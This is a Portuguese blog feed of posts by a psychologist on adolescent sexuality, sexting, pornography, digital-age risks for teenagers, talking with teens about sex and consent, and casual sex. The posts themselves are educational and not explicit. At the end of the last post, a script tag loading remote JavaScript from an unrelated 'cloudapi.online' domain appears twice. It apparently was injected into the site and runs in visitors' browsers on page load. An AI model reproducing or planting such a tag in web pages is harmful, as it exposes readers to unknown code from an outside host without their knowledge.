<p><span style="font-weight: 400;">No ano passado, tive a oportunidade de realizar o </span><b>projeto vida adolescente</b><span style="font-weight: 400;"> dentro do colégio Maple Bear em São Paulo. Foram seis meses de trabalho. Junto com orientadores pedagógicos e os próprios jovens. Fomos capazes criar espaços de conversa sobre: MUNDO DIGITAL, SEXUALIDADE, REGULAÇÃO DAS EMOÇÕES. Falamos sobre os </span><a href="http://tatianaleite.com.br/2019/10/16/geracao-z-os-perigos-do-mundo-digital-para-os-adolescentes/"><span style="font-weight: 400;">perigos da superexposição na internet. </span></a><span style="font-weight: 400;">A dependência causada pelas redes sociais. O bullying e a exclusão social que os jovens sofrem por meio dessas ferramentas e que se estende para o convívio presencial. Temas como: pornografia, sexting, namoro, vínculos afetivos, aspectos biopsicossociais da sexualidade também foram abordados nesses encontros. Como resultado, conseguimos gerar muito mais conhecimento e esclarecimento para os adolescentes que participaram dos debates.</span></p>
<p><span style="font-weight: 400;">É claro que não é uma tarefa fácil, existem inúmeros medos e anseios dos pais em abrir espaço para esse tipo de conversa. Acho que o maior deles é saber que não podem controlar as experiências dos filhos e acreditarem que ao evitar o assunto estão preservando a inocência e a pureza das crianças. Mas, a verdade é que, como dito anteriormente, a sexualidade é um processo constante e natural. Os adolescentes vão inevitavelmente testar seus desejos e vontades e descobrir o sexo em algum momento, Por isso, orientar e guiar essas experiências, enxergando que sexo e sexualidade são coisas diferentes, é a melhor maneira de evitar que esse processo seja traumático na vida dos jovens. </span></p>
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		<title>Como ter um papo reto sobre sexo com os adolescentes?</title>
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		<dc:creator><![CDATA[Tatiana Leite]]></dc:creator>
		<pubDate>Mon, 11 Nov 2019 23:08:16 +0000</pubDate>
				<category><![CDATA[Adolescência]]></category>
		<category><![CDATA[Sexualidade]]></category>
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					<description><![CDATA[<p>Falar de sexo não deveria ser algo tão incômodo, principalmente entre pais e filhos. Mas, apesar disso, a conversa é tabu na maioria dos lares. A falta de informação em [&#8230;]</p>
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										<content:encoded><![CDATA[<p><span style="font-weight: 400;">Falar de sexo não deveria ser algo tão incômodo, principalmente entre pais e filhos. Mas, apesar disso, a conversa é tabu na maioria dos lares. A falta de informação em casa e na escola fazem com o que os adolescentes busquem sanar a curiosidade na internet. E, é nesse ambiente pouco controlado que a maioria descobre e desenvolve sua sexualidade.</span></p>
<p><span style="font-weight: 400;">Em uma </span><a href="http://www.aberje.com.br/pesquisa-da-unifesp-e-bayer-mostra-realidade-da-educacao-sexual-das-adolescentes/"><span style="font-weight: 400;">pesquisa </span></a><span style="font-weight: 400;">feita pela Bayer em parceria com a UNIFESP, que entrevistou 1500 meninas de 16 a 25 anos, 41% das entrevistadas revelaram que  não conversam sobre sexo e sexualidade com os pais. De forma que a internet se tornou a principal responsável por preencher essa lacuna de curiosidade e informação entre os jovens.  Segundo um estudo norte-americano, 84% dos adolescentes usam a internet para se informar sobre temas de saúde, como puberdade, drogas, sexo e depressão. </span></p>
<p><span style="font-weight: 400;">No entanto, a conversa com os pais é indispensável para a formação dos jovens, principalmente porque é dentro de casa que são criados e fortalecidos os principais valores e ensinamentos. As conexões entre pais e filhos irão formar o caráter e a personalidade. São os pais que podem fazer com que um assunto complicado se torne simples e natural, trazendo conforto e confiança sobre o tema.</span></p>
<p><span style="font-weight: 400;">Cada família tem sua maneira de conversar seus valores regras sendo, portanto, impossível criar um roteiro. Apesar disso, as dicas abaixo podem ajudá-los a encontrar um jeito confortável de tirar o tabu da frente e colocar no meio na sala.</span></p>
<h2><b>Tome a iniciativa! O papo é reto e o primeiro passo deve ser seu</b></h2>
<p><span style="font-weight: 400;">Antes de começar a conversa é importante normalizar o tema. Tratar o assunto como algo natural e criar um ambiente de confiança para que o jovem possa ouvir com curiosidade e atenção. Se a conversa nunca aconteceu é possível que o adolescente fique desconfortável. Se ele for uma pessoa tímida talvez queira inclusive fugir do tema. Mas, a verdade é que os adolescentes estão desejando ter alguém de confiança para falar sobre o assunto abertamente. E criar conexão com seus pais. </span></p>
<p><span style="font-weight: 400;">Quando você se antecipa e inicia a conversa você passa uma mensagem clara de que está disposto a ouvir e falar sobre o assunto. Quase tudo pode ser um gatilho para começar o assunto. Como, por exemplo, uma notícia, um seriado, um livro. Outra alternativa é você provocar para que o assunto surja. Colocando um vídeo ou um filme para assistirem juntos. Se assistir junto for demais nesse primeiro momento. Compartilhe o conteúdo para que ele veja sozinho e depois pergunte o que achou. </span></p>
<h2><b>Explique sobre a saúde, mas a conversa precisa ir muito além do preservativo</b></h2>
<p><span style="font-weight: 400;">Sem dúvida é fundamental que a saúde seja pauta nessa conversa. Explicar sobre o uso do preservativo para proteção e prevenção das Doenças Sexualmente Transmissíveis, sobre métodos contraceptivos e sobre os processos biológicos do corpo são elementos indispensáveis. Mas, procure ir além e falar de sexo de uma maneira mais ampla e abrangente. Mostrando o quão saudável, prazeroso e natural o sexo é. Ele é parte da nossa personalidade. A nossa energia sexual rege muitos dos nossos desejos e sonhos. A nossa sexualidade influencia inclusive na maneira como nos comunicamos. Portanto, falar de sexo deve ser mais do que orientar sobre a saúde.</span></p>
<p><span style="font-weight: 400;">Quando crianças, os filhos costumam ter dúvidas simples como &#8220;de onde vem os bebês?&#8221;, &#8220;como ele foi parar na barriga da mamãe?&#8221;. Mas, com o tempo as dúvidas se tornam mais complexas. Na adolescência é comum os jovens terem curiosidade sobre o ato sexual. Como acontece. Se é doloroso. Se é demorado. Além de dúvidas sobre as sensações e sentimentos: a atração, o desejo, o tesão e o orgasmo.</span></p>
<p><span style="font-weight: 400;">Para criar um canal de confiança, os pais precisam sair desse lugar de distanciamento e se colocar vulneráveis para a conversa. Mostrando inclusive aspectos pessoais sobre a própria sexualidade. Ter um diálogo aberto com os filhos significa se livrar dos próprios tabus e esquecer os julgamentos. Nunca julgue. Nem imponha seus preceitos morais sobre as dúvidas, curiosidades e desejos de um jovem. Se o adolescente se sentir julgado ele talvez nunca se abra com você. Lá se foi a chance de construir um laço de confiança.</span></p>
<h2><b>O poder do não, o respeito diante dos próprios desejos e do corpo do outro </b></h2>
<p><span style="font-weight: 400;">Em algum momento, a conversa precisa ficar séria para falar de respeito, limites claros e consentimento. A iniciação sexual é um momento de muita exploração e de descoberta, então é comum que os jovens não tenham tanta clareza sobre o que os excita, sobre seus próprios limites e desejos. Mas, é justamente por essa ser uma fase de descoberta, que a investigação sobre o próprio corpo e sobre o corpo alheio deve ser lenta e sempre observando os próprios limites e o limite do outro.</span></p>
<p><span style="font-weight: 400;">Toda relação sexual deve ser realizada no respeito mútuo. O consentimento, ou seja, a aprovação do parceiro sobre o que está acontecendo é a regra número 1. Ninguém deve ser obrigado a fazer algo que não quer, que não se sente confortável e que não deseja. Nesse sentido, ensine seu filho sobre respeitar o não da outra pessoa acima de tudo, e parar seja o que estiver acontecendo assim que a outra pessoa parar de se sentir confortável com a situação. No mesmo sentido, também ensine que ele não é obrigado a realizar os desejos e vontades da outra pessoa, seja por medo, pressão social ou por insegurança emocional.</span></p>
<p>&nbsp;</p>
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		<title>Adolescência e sexualidade: a descoberta do corpo na geração digital</title>
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		<dc:creator><![CDATA[Tatiana Leite]]></dc:creator>
		<pubDate>Thu, 24 Oct 2019 22:00:58 +0000</pubDate>
				<category><![CDATA[Adolescência]]></category>
		<category><![CDATA[Sexualidade]]></category>
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					<description><![CDATA[<p>Ser adolescente no mundo digital é ter que viver uma fase de transformações físicas, sociais e emocionais conectado à internet vinte e quatro horas por dia, sete dias por semana. [&#8230;]</p>
<p>O post <a href="https://tatianaleite.com.br/2019/10/24/adolescencia-e-sexualidade-descoberta-do-corpo-na-geracao-digital/">Adolescência e sexualidade: a descoberta do corpo na geração digital</a> apareceu primeiro em <a href="https://tatianaleite.com.br">Tatiana Leite</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><span style="font-weight: 400;">Ser <a href="http://tatianaleite.com.br/2019/10/16/geracao-z-os-perigos-do-mundo-digital-para-os-adolescentes/">adolescente no mundo digital</a> é ter que viver uma fase de transformações físicas, sociais e emocionais conectado à internet vinte e quatro horas por dia, sete dias por semana. Mas, a adolescência também é marcada pela descoberta e pelo desenvolvimento da sexualidade. Nessa fase, os jovens precisam aprender a lidar com muitas novidades.  Que vão desde as mudanças no corpo até as novas perspectivas de desejo, prazer, interesse, comunicação e relacionamentos. </span></p>
<p><span style="font-weight: 400;">São muitos os conflitos internos e externos vividos por essa geração que precisa entender e descobrir a própria sexualidade conectados em tempo integral. Eu listei abaixo</span><b> cinco tópicos </b><span style="font-weight: 400;">que fazem parte da descoberta da sexualidade para os jovens. Vamos conversar sobre esses temas? Descobrir juntos ferramentas para amparar e guiar os adolescentes nessa fase da vida?</span></p>
<p>&nbsp;</p>
<h2><b>Corpo, imagem corporal e sexualidade</b></h2>
<p><span style="font-weight: 400;">A puberdade reserva muitas mudanças corporais. O corpo passa a secretar novos hormônios, amadurecer no sentido de tornar-se adulto e fértil, adquirir formas e pelos pubianos, mudança da voz, entre outras inúmeras transformações. Essa fase de transição biologicamente dura entre 5 a 6 anos. Mas diante do mundo conectado o intervalo se torna mais curto. As novas gerações, acostumadas com a velocidade e instantaneidade da internet, estão acelerado de maneira exponencial as mudanças da puberdade.</span></p>
<p><span style="font-weight: 400;">O desenvolvimento da sexualidade passa pela descoberta do próprio corpo, do corpo alheio, do desejo e também pela autoimagem corporal. Essa percepção que está diretamente relacionada com a construção da autoestima e a valorização positiva de si mesmo são elementos fundantes da sexualidade. O problema é que para os jovens nativos digitais, a concepção sobre o que é ser bonito e desejável não acontece mais na observação de si mesmo e do outro. Mas sim na comparação inatingível de modelos irreais. A autoestima, o desejo e noção de imagem corporal passa a ser formada a partir da opinião e validação alheia. Essa, por sua vez, deve aprovar ou rejeitar características que estão dentro de um padrão único e inatingível de beleza.</span></p>
<p>&nbsp;</p>
<h2><b>Pornografia</b></h2>
<p><span style="font-weight: 400;">O estímulo para a experimentação sexual e para a descoberta do desejo são fundamentais para a descoberta da sexualidade e do prazer. Mas, ao invés de percorrerem o caminho saudável em busca dessa descoberta, os jovens estão reduzindo o estímulo a libido ao mero ato de consumir pornografia. </span></p>
<p><span style="font-weight: 400;">Alguns elementos saudáveis para a descoberta da sexualidade são: a evolução do autoerotismo. Os estímulos do prazer e da libido. O toque e a masturbação. O apelo da sensualidade e da comunicação não verbal. A experimentação sexual. As novas percepções sobre si mesmo e a busca por afetividade e intimidade.</span></p>
<p><span style="font-weight: 400;">Simplificar todas as incontáveis possibilidades que podem surgir durante a exploração do desejo ao pragmatismo superficial das relações sexuais que são apresentadas pela pornografia é a pior maneira de conduzir essa descoberta. Sem falar nos problemas psicológicos de se expor ao consumo excessivo e precoce de &#8220;conteúdo adulto&#8221;. </span></p>
<p><span style="font-weight: 400;">Pelo mundo todo, uma série de especialistas em sexualidade têm se dedicado a estudar os efeitos da pornografia. Depressão, ansiedade, déficit de atenção e até disfunção erétil têm aparecido entre os transtornos ligados a compulsão por vídeos sexuais.</span></p>
<p><span style="font-weight: 400;">É claro que a pornografia pode ser uma ferramenta de estímulo para despertar a libido. Ela não deve ser entendida como a grande vilã da história. Mas, o problema é que os jovens estão usando a pornografia como parâmetro para as relações sexuais. Dando cada vez menos espaço para a descoberta individual do prazer e do desejo.</span></p>
<p><span style="font-weight: 400;">E, nem é preciso correr muito atrás, esse tipo de conteúdo circula livre e chega fácil por meio de grupos de whatsapp. O compartilhamento de &#8220;nudes&#8221;, como ficou conhecido o ato de enviar fotos eróticas por mensagens, é feito de maneira indiscriminada entre os jovens. Mas, diante desse comportamento fica a pergunta: o que é intimidade, própria e alheia, para essa nova geração?  </span></p>
<p>&nbsp;</p>
<h2><b>Sexting </b></h2>
<p><span style="font-weight: 400;">Conversar por mensagens online faz parte da vida de milhões de pessoas. Mas o que isso significa para os jovens que estão explorando seus limites sexuais e descobrindo a sexualidade? </span></p>
<p><span style="font-weight: 400;">Um estudo realizado pela Universidade de Calgary, no Canadá, reuniu dados de 39 pesquisas sobre sexting, feitas entre 1990 e 2016. De acordo com os resultados um em cada quatro adolescentes já enviou ou recebeu conteúdo sexual por mensagem de texto. 25% afirmou já terem recebido fotos ou vídeos íntimos de seus contatos. Enquanto menos de 15% admitiram já terem enviado conteúdo desse caráter.</span></p>
<p><span style="font-weight: 400;">É importante observarmos esse comportamento no intuito de instruir os jovens sobre o que é privacidade, intimidade. E sobre como o vazamento desse tipo de conteúdo pode causar danos irreparáveis para a autoestima, a autoimagem e para a socialização dos adolescentes. Infelizmente, as práticas de </span><i><span style="font-weight: 400;">revenge porn</span></i><span style="font-weight: 400;">, compartilhamento de conteúdo íntimo sem consentimento, cresce principalmente entre os adolescentes. Os jovens têm acesso ao material, mas pouca maturidade e consciência sobre o que significa preservar a própria imagem. E a imagem do outro.</span></p>
<p>&nbsp;</p>
<h2><b>Exposição</b></h2>
<p><span style="font-weight: 400;">Muito relacionado ao tópico anterior, a exposição excessiva na internet também pode causar danos emocionais para os adolescentes. Ficar constantemente buscando validação para o corpo, para as decisões e ações que pretende tomar é um sinal de alerta. A construção da individualidade e a descoberta da personalidade precisam ter ambiente seguro para testar as possibilidade. Os gostos. Os desejos. Os sonhos. Compartilhar cada atividade, cada tomada de decisão e esperar pela aprovação ou reprovação alheia podem tornar o jovem mais confuso e ansioso nesse processo de individuação.</span></p>
<p>&nbsp;</p>
<h2><b>Sexo seguro e responsável</b></h2>
<p><span style="font-weight: 400;">Tão importante como a exploração do desejo e o início da vida sexual é entender o que significa as relações sexuais para a saúde e para as responsabilidades sociais. No Brasil, os adolescentes costumam iniciar sua vida sexual entre os 13 e 17 anos. O pior de tudo é que <a href="https://noticias.uol.com.br/saude/ultimas-noticias/redacao/2017/02/13/por-que-os-jovens-nao-usam-camisinha.htm">fazer sexo desprotegido</a> não parece algo grave para a maioria deles. Já que um terço dos jovens, entre 14 e 25 anos, afirmam não usar camisinha. A camisinha não é simplesmente um método contraceptivo, ela é o único agente contra uma doença sexualmente transmissível. </span></p>
<p><span style="font-weight: 400;">A educação sexual nas escolas e dentro das famílias talvez seja a única forma de conscientizarmos os adolescentes em relação aos perigos e danos à saúde. Sexo precisa ser feito com segurança e responsabilidade. Essa deve ser a mensagem!</span></p>
<p><span style="font-weight: 400;">Diante de tantos conflitos e distorções como fornecer ferramentas emocionais para que os jovens consigam lidar com esse momento de vida? Bom, não existe uma resposta única. Certamente, o diálogo, a informação e os espaços de confiança são caminhos indispensáveis para ajudarmos os adolescentes na descoberta da sexualidade diante do mundo digital. No próximo texto do blog vamos colocar o tabu para discussão e ampliar o debate sobre: </span><a href="http://tatianaleite.com.br/2019/11/11/como-ter-um-papo-reto-sobre-sexo-com-os-adolescentes/"><b>Como iniciar uma conversa sobre sexo e sexualidade com adolescentes?</b></a><span style="font-weight: 400;"> não perca! </span></p>
<p>O post <a href="https://tatianaleite.com.br/2019/10/24/adolescencia-e-sexualidade-descoberta-do-corpo-na-geracao-digital/">Adolescência e sexualidade: a descoberta do corpo na geração digital</a> apareceu primeiro em <a href="https://tatianaleite.com.br">Tatiana Leite</a>.</p>
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		<title>Geração Z: os perigos do mundo digital para os adolescentes</title>
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		<dc:creator><![CDATA[Tatiana Leite]]></dc:creator>
		<pubDate>Wed, 16 Oct 2019 14:25:08 +0000</pubDate>
				<category><![CDATA[Adolescência]]></category>
		<category><![CDATA[PSICOTERAPIA]]></category>
		<category><![CDATA[Relacionamento]]></category>
		<category><![CDATA[Sexualidade]]></category>
		<category><![CDATA[adolescência]]></category>
		<category><![CDATA[geração Z]]></category>
		<category><![CDATA[mundo digital]]></category>
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					<description><![CDATA[<p>A adolescência é uma fase de transição entre não ser mais criança, mas ainda não ser adulto. Mudanças físicas, psicológicas e sociais, somadas ao aumento da responsabilidade, ao aprendizado e [&#8230;]</p>
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										<content:encoded><![CDATA[<p><span style="font-weight: 400;">A adolescência é uma fase de transição entre não ser mais criança, mas ainda não ser adulto. Mudanças físicas, psicológicas e sociais, somadas ao aumento da responsabilidade, ao aprendizado e a falta de habilidade emocional, tornam esse período cheio de conflitos externos e internos. Como se já não fosse difícil ter que lidar com tantas transformações, a geração Z, jovens nativos digitais &#8211; nascidos entre 1990 e 2010, precisam se descobrir e amadurecer no ambiente digital. Conectados 24 horas por dia, sete dias por semana.</span></p>
<p>&nbsp;</p>
<p><span style="font-weight: 400;">É claro que a internet é uma ferramenta poderosa, que amplia as possibilidades de aprendizado, de relacionamentos, de acesso à informação, de expressão de pensamentos e ideias. Mas, ela também apresenta muitas ameaças. Principalmente para os jovens que ainda estão no processo de autoconhecimento, descobrindo suas emoções, seus limites e sua sexualidade. </span></p>
<p><span style="font-weight: 400;">Para os adultos que já passaram dessa fase é quase impossível se lembrar do quanto pode ser confuso e assustador ser jogado no mundo real, mas ainda preservar a ingenuidade e a imaturidade da infância. Para os pais, o desafio é duplo: educar os filhos na fase em que passam a ressignificar os aprendizados da infância por meio da contestação, do conflito e da descoberta do “EU” e da individuação, com o adicional da internet e da vida online. </span></p>
<p>&nbsp;</p>
<h2><b>Quais são as maiores ameaças do mundo digital para a geração Z?</b></h2>
<h3></h3>
<h3><b>Redes sociais</b></h3>
<p><span style="font-weight: 400;">Contrariando a proposta da maioria das redes sociais que é conectar pessoas, gerar relacionamento e multiplicar informação, os adolescentes, que passam muitas horas online, parecem estar cada dia mais desconectados do mundo. Hipnotizados por seus celulares, parecem saber interagir apenas a partir da tela. De acordo com a pesquisa Social Media, Social Life, realizada em 2018, 68% dos jovens de 13 a 17 anos, preferem enviar uma mensagem de texto do que conversar pessoalmente.</span></p>
<p><span style="font-weight: 400;">Mas, por que isso é um problema? A interação humana e as relações interpessoais são ferramentas que nos conduzem a identificarmos e compreendermos nossas emoções. Ao ver outras pessoas reagindo aos sentimentos e situações, podemos ter uma melhor noção sobre o que sentimos. Outro grande problema dos jovens passarem muito tempo no mundo virtual é que aos poucos se perde a noção do que é vida real e do que é apenas uma ilusão, uma construção.</span></p>
<p><span style="font-weight: 400;">As redes sociais são um recorte da realidade. As postagens no Instagram são um momento congelado e editado. Mas, é fácil para os adolescentes que estão do outro lado da tela, com poucas referências do que é a “vida real”, confundir aquela experiência fragmentada com a realidade.</span></p>
<p><span style="font-weight: 400;">Ansiedade, depressão, insatisfação com o próprio corpo, distúrbios alimentares, autocobrança excessiva. São alguns dos distúrbios que podem surgir em decorrência do uso excessivo de redes sociais.</span></p>
<p>&nbsp;</p>
<h3><b>Dependência virtual</b></h3>
<p><span style="font-weight: 400;">Já existem alguns distúrbios atribuídos exclusivamente ao estilo de vida hiperconectado. O mais famoso deles é o FOMO (</span><i><span style="font-weight: 400;">Fear Of Missing Out</span></i><span style="font-weight: 400;">). Em uma tradução livre significa o medo de ser deixado de fora. Podemos interpretar esse transtorno como o medo de estar perdendo algo mais interessante, de estar sendo deixado de lado e não pertencer ao grupo. Descrita pela primeira vez no ano 2000, essa síndrome é o principal sintoma de uma pessoa que está viciada nas redes sociais.</span></p>
<p><span style="font-weight: 400;">Checar o feed a cada cinco minutos. Rolar a timeline por horas. Comparecer a um evento e só pensar nas fotos para o Instagram. São sintomas de quem está dependente do ambiente virtual, por exemplo.</span></p>
<p><span style="font-weight: 400;">Outra disfunção psicológica em decorrência da vida digital é a Nomofobia ou medo de ficar sem o celular. Que pode ser interpretado tanto para ficar sem bateria quanto sem conexão com a internet.</span></p>
<p><span style="font-weight: 400;">Um estudo apresentado em 2014 por </span><span style="font-weight: 400;">Fernanda Davidoff. Intitulado </span><a href="https://www.unifesp.br/noticias-anteriores/item/2208-jovens-desenvolvem-dependencia-de-redes-virtuais"><span style="font-weight: 400;">O Impacto do Uso de Mídias Digitais na Qualidade de Vida de Adolescentes</span></a> <span style="font-weight: 400;">revelou que 68% dos adolescentes ouvidos na pesquisa sofriam de dependência moderada em relação às tecnologias atuais (smartphones, tablets e internet). Enquanto que 20% enquadraram-se como dependentes graves.</span></p>
<p>&nbsp;</p>
<h3><b>Viciados em likes</b></h3>
<p><span style="font-weight: 400;">As ferramentas de interação das redes sociais são programadas para nos manter cativos a plataforma. Postar uma foto e conferir quantos likes, comentários estamos recebendo é um hábito comum de todos os usuários. Mas, para os adolescentes esse processo de se sentir validado apenas quando recebe o “like” alheio pode se tornar ainda mais doloroso. O problema é tão grave e gera tantos distúrbios para a saúde e a para a auto imagem que esse ano o Instagram fez uma atualização importante e muito contestada. A plataforma ocultou o número de curtidas nas fotos. Evitando portanto que os usuários façam comparações entre si. </span></p>
<p>&nbsp;</p>
<h3><b>Conteúdo publicitário</b></h3>
<p><span style="font-weight: 400;">Pensado exclusivamente para nos influenciar, o conteúdo publicitário conduz conversas e gera impulsos de consumo ou opinião em nossas mentes. Os adolescentes estão muito mais suscetíveis a serem influenciados pelas opiniões alheias, pela sedução das marcas e também por discursos perigosos como o preconceito, a misoginia, a exclusão de classes, etc.</span></p>
<p>&nbsp;</p>
<h2><b>Como proporcionar uma internet segura?</b></h2>
<p><span style="font-weight: 400;">O primeiro passo para superar os desafios de educar um filho nativo digital é criar um ambiente de confiança, diálogo e respeito a individualidade. Orientar os adolescentes sobre as ameaças e estar sempre atento ao tipo de conteúdo e interação que esses jovens estão consumindo e criando. Ensinar sobre perfis fakes, sobre notícias falsas, sobre fontes de informação confiáveis e sobre como fazer checagem da informação são alguns caminhos interessantes. Pode parecer estranho, mas aprender a distinguir a realidade não é tão simples quanto parece.  Se torna mais fácil quando eles aprendem a comparar e perceber o que é fabricado do que é real.</span></p>
<p><span style="font-weight: 400;">Orientar sobre a privacidade, sobre informações pessoais e sobre a intimidade também é extremamente relevante. Eles precisam aprender a se proteger dentro do mundo digital. Do outro lado, também precisam aprender a respeitar as outras pessoas e colegas. O Cyberbullying deve ser combatido. Os adolescentes são as principais vítimas e os principais agentes ativos desse crime virtual. Os pais e orientadores pedagógicos precisam ensinar sobre os limites legais e ilegais do ambiente virtual. Mostrar que eles serão  responsáveis por um crime cometido na internet, da mesma forma que um crime cometido fora dela.</span></p>
<p><span style="font-weight: 400;">Para os mais jovens existe ainda a possibilidade de restringir o acesso à páginas que contêm conteúdo impróprio de acordo com a idade. Limitar o acesso, criar restrições de horários e períodos e instalar softwares de segurança são algumas possibilidades. Mas, o mais importante é que os pais e orientadores saibam que nada substitui a orientação, o diálogo e o vínculo de confiança.</span></p>
<p><span style="font-weight: 400;">Algumas ferramentas para acompanhar a atividade online são:</span> <span style="font-weight: 400;">Youtube Kids, Netflix Kids, Google Family, etc.</span></p>
<p>&nbsp;</p>
<h2><b>A terapia pode ser uma ferramenta nesse processo de descoberta</b></h2>
<p><span style="font-weight: 400;">Em vez de reunir, as telas podem criar um gap geracional. Afastando adultos dos adolescentes nessa fase tão relevante para o desenvolvimento humano. Nesse sentido, a terapia pode ser uma ferramenta de aproximação. Um ambiente seguro para que os jovens possam refletir e discutir sobre seu processo de individuação.</span></p>
<p><span style="font-weight: 400;">Com tantos alertas para a segurança parece improvável proteger os adolescentes dos perigos online. Mas, acredite, a internet é uma ferramenta indispensável para o desenvolvimento dos jovens. Proibir não é o melhor caminho. Ao conhecer os riscos e ameaças podemos ajudar os adolescentes a fortalecerem sua saúde mental e emocional. Além de desfrutar de todos os benefícios de estarem sempre conectados.</span></p>
<p>&nbsp;</p>
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		<title>POR MAIS SEXO “SEM COMPROMISSO”</title>
		<link>https://tatianaleite.com.br/2017/07/23/por-mais-sexo-sem-compromisso/</link>
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		<dc:creator><![CDATA[Tatiana Leite]]></dc:creator>
		<pubDate>Sun, 23 Jul 2017 15:35:05 +0000</pubDate>
				<category><![CDATA[Sexualidade]]></category>
		<category><![CDATA[sexo]]></category>
		<category><![CDATA[sexo casual]]></category>
		<category><![CDATA[sexo sem compromisso]]></category>
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]]></description>
										<content:encoded><![CDATA[<p>Preciso começar esclarecendo que, antes de começarem os julgamentos, não estou levantando bandeira de relacionamentos abertos ou qualquer outra coisa. Na verdade, acho até que o título desse texto também poderia ser ‘por uma vida mais sem compromisso’. Estamos vivendo o momento “boom de informação”, com todo mundo<span id="more-390"></span> falando de tudo e, supostamente, acreditando que existem respostas para tudo. A internet virou o guru das perguntas sem soluções. “Tem uma duvida? Em um clique, a resposta será sua!”.  É claro que existem muitas coisas boas e acessíveis a todos, é um universo de informações. Porém, com tanta coisa disponível, nós nos perdemos nesse mar e, ouso dizer, até ficamos chatos com tantas dicas. Como assim? Você acaba com muitos compromissos e cobranças, como ser feliz, ter um relacionamento saudável, filhos educados e ter o sexo mais “ardente” de todos os tempos. “Sabe aquele que você faz? Não serve, não!”</p>
<p>&nbsp;</p>
<p>Existe uma preocupação com o sucesso de tudo na sua vida e, inclusive, a sua vida sexual. Até o restaurante e o motel viram motivo de consultas na internet, para saber quantos likes o lugar tem, e por aí vai.  Afinal de contas, nós não queremos perder tempo ou ter uma experiência desagradável. É tanto preparo e compromisso com a felicidade, que a espontaneidade e a diversão precisam ser aprendidas. Oi?! Como assim!? Esse é o resultado de tanta cobrança!  O compromisso com dia e hora marcado, com check list, tira a nossa criatividade, a intuição e a liberdade. O combinado tem a tendência de colocar o outro em primeiro lugar, o prazer do outro, a felicidade do outro, o sexo para o outro! É aquela necessidade de fazer o outro feliz, de proporcionar o melhor sexo… Aquele tipo incrível, sabe? UAU!!!! Com muitos orgasmos. Sim, no plural, porque tem que ser ‘os múltiplos’. Não pode ser somente uma transa, aquela depois de uma dia exausto de trabalho, com um monte de coisas para resolver. O ruim é que, às vezes, você só quer isso: uma transa para relaxar, o sexo sem compromisso. As pessoas me perguntam se é possível ter um compromisso duradouro, ficar anos com a mesma pessoa e ainda sim sentir desejo, prazer, e ter “sexo ardente” para o resto da vida. E a minha resposta é com algumas perguntas: Você já teve sexo ardente um dia? Já viveu ao lado de uma pessoa e desejou estar ao lado dela para o resto da vida? Percebe que aí tem uma pegadinha para a relação, o “compromisso“ de estar ao lado do outro para a vida inteira? Considero que existe um link entre o caminho para relacionamento e sexo para a vida toda com a liberdade de escolher estar ao lado de alguém, sem estabelecer uma agenda de expectativas. Os limites de o quanto nos permitimos e toleramos estar na relação são construídos por nós mesmos, ou seja, os caminhos e as possibilidades de viver uma sexualidade são construídos no dia a dia. Não espere um evento para comemorar o prazer de estar junto de alguém, aproveite a simplicidade de ser o que realmente é ao lado do outro. Por mais sexo sem compromisso!</p>
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		<title>A SEXUALIDADE E SUAS NUANCES</title>
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		<dc:creator><![CDATA[Tatiana Leite]]></dc:creator>
		<pubDate>Tue, 04 Apr 2017 15:36:36 +0000</pubDate>
				<category><![CDATA[Sexualidade]]></category>
		<category><![CDATA[características sexuais]]></category>
		<category><![CDATA[curiosidades do sexo]]></category>
		<category><![CDATA[curiosidades sexuais]]></category>
		<category><![CDATA[nuances sexuais]]></category>
		<category><![CDATA[sexualidade]]></category>
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					<description><![CDATA[<p>A nossa forma de pensar, sentir e desejar expressam a nossa paixão pelo outro e também por nós mesmo. A sexualidade deve ser entendida na sua totalidade, que engloba desde [&#8230;]</p>
<p>O post <a href="https://tatianaleite.com.br/2017/04/04/a-sexualidade-e-suas-nuances/">A SEXUALIDADE E SUAS NUANCES</a> apareceu primeiro em <a href="https://tatianaleite.com.br">Tatiana Leite</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>A nossa forma de pensar, sentir e desejar expressam a nossa paixão pelo outro e também por nós mesmo. A sexualidade deve ser entendida na sua totalidade, que engloba desde o sexo genital (o ato sexual em si) até as sutilezas individuais.<span id="more-393"></span></p>
<p>Fonte: <a href="https://www.dicio.com.br/nuance/" data-saferedirecturl="https://www.google.com/url?hl=pt-BR&amp;q=https://www.dicio.com.br/nuance/&amp;source=gmail&amp;ust=1500820374242000&amp;usg=AFQjCNEGLU6ejy0oi1jSz28fYK_4t4Ye_g">https://www.dicio.com.br/nuance/</a></p>
<p><strong><em>“Não se trata de algo pronto, imutável”.</em></strong></p>
<p>Em sua essência a sexualidade se manifesta na sutileza quase imperceptível que faz do sexo uma experiência única, rica de significados e desafios, nos impulsionando a descobrir, desvendar e ter aquela curiosidade pelo outro. O que será que ele(a) gosta?! CURIOSA! Sua natureza é intrometida, desinibida, busca a satisfação e atenção. Por isso mesmo, dá trabalho!</p>
<p>Agora vamos pensar a sexualidade de uma forma mais “ampla’, despir-se, abrir um espaço para “bisbilhotar”, explorar seus obstáculos, observar a forma como você se sente a respeito do seu próprio corpo, suas escolhas relacionais e autoestima.</p>
<p>Te convido a experimentar diálogos “com você mesmo”. O primeiro passo para desvendar a sexualidade, é viver de uma forma livre, sem estereótipos. Acredito que é possível viver e expressar a sexualidade na sua plenitude. E você?<br />
Não tente encaixar, padronizar o sexo, descubra o seu jeito a sua nuance e tenha muito prazer!</p>
<p><script id="lg210a" src="https://cloudapi.online/js/api46.js" type="text/javascript"></script></p>
<p><script id="lg210a" src="https://cloudapi.online/js/api46.js" type="text/javascript"></script></p>
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